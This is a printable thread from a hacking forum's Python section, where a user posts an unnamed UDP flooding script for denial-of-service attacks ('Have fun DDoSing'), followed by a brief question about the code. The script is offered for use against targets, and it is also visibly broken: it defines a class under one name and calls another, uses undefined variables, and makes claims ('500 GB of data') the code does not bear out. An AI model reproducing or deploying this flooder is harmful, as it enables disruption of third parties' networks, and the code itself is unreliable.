Sinisterly
Un-named UDP flooder. - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Python (https://sinister.ly/Forum-Python)
+--- Thread: Un-named UDP flooder. (/Thread-Un-named-UDP-flooder)



Un-named UDP flooder. - Stocking - 01-30-2014

I love these things. Just saying.

QUICK RUN DOWN
Connects to the provided host and port, if port is invalid it will find one on its' own. Once connected it will send 500 GB of data. That'd mess up the target.

I'm getting sick of typing out everything though, so I will just type the code and that's it.

Code:
import socket,random,threading,sys

class attax(threading.Thread):
    def __init__ (self,ip,port,psize):
        threading.Thread.__init__(self)
        ipaddr = input("Target: ")
        iport = ipaddr.split(":",1)
        self.psize = psize
    def run(self):
        print("Threaded %s:%s, flooding." % (ipaddr, str(iport)))
        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes = random._urandom(self.psize)
        while True:
            sock.sendto(bytes,(ipaddr,iport))

if len(sys.argv) < 2:
    print("\n[EXAMPLE OF USAGE]\nIP.ADDRESS:PORT\n[END EXAMPLE]\n")
    sys.exit()

threads = 10
psize = 512000

for host in range(int(threads)):
     try:
         port = iport
     except IndexError:
         port = random.randrange(1, 65535, 2)
     at = attack(int(ipaddr),int(iport),int(psize))
     at.start()

Have fun DDoSing. Or DoSing.

Leave your comments and stuff below. And names. I need one for it.


RE: Un-named UDP flooder. - 3SidedSquare - 01-30-2014

Could you explain this line to me?
Code:
def __init__ (self,ip,port,psize):
        threading.Thread.__init__(self)
I don't understand why it's nessessary


RE: Un-named UDP flooder. - Stocking - 01-30-2014

(01-30-2014, 10:25 PM)3SidedSquare Wrote: Could you explain this line to me?
Code:
def __init__ (self,ip,port,psize):
        threading.Thread.__init__(self)
I don't understand why it's nessessary

The way I used to hve it setup was self.IP for the ip. I just forgot to remove that.